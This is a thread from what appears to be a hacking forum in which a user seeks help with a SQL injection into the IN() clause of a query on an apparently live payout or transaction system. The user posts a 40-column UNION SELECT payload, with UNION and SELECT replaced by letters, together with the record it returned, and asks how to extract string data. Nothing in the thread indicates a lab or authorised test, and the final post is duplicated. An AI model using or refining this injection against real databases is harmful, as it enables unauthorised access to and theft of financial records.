(Jun 23, 2019 10:24 AM)godjustice555 Wrote:  I have this statement

Code

select * from `tablename` where `id` = 12345 and `created` > 2019-06-24 00:00:00
and `created` < 2019-06-24 23:59:59 and chtcode IN(1) order by `id` desc limit 25

the id from the statement can't be modified as it is retrieve on server side using session stored in the server.
adding anything before or after the date doesn't work either.

the only injectable point, is the 1
i think i got it figured out...

# works at the end. and it can comment out the ordering
so i manage to snuck in a union.
but the output corresponding only to an integer and decimal
i can't get any string in the out put and am stuck again...

(Jun 23, 2019 09:29 PM)cogama Wrote:  Delete some PM's so I can message you.

(Jun 23, 2019 08:32 PM)godjustice555 Wrote:  lol, this is just a discussion. not an open invitation for you to try.
and i'm not looking to hire for this.
thanks

back to the question. below is the injection i tried (where A is union and B is select)

Code

record_type=1) A B 1099,'2','3',4,5,6,7,999.99,9,10,11,'12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39',40 #  

i actually tried every single field with the quote, its not consistent in this example due to i'm unquoting it to test

my result is

Code

{"id":"1099","created":"1970-01-01 07:30:37","status":null,"amount":"999.99","rejreason":"","type":"Payout","cardno":""}

(Jun 24, 2019 04:25 AM)PhoenixFire69 Wrote:  That was the funniest shit I’ve ever read on HF. He fr tried to finesse you and your project xD

any way, what happened ? Did you
Get what you wanted ?

(Jun 24, 2019 04:25 AM)PhoenixFire69 Wrote:  That was the funniest shit I’ve ever read on HF. He fr tried to finesse you and your project xD

any way, what happened ? Did you
Get what you wanted ?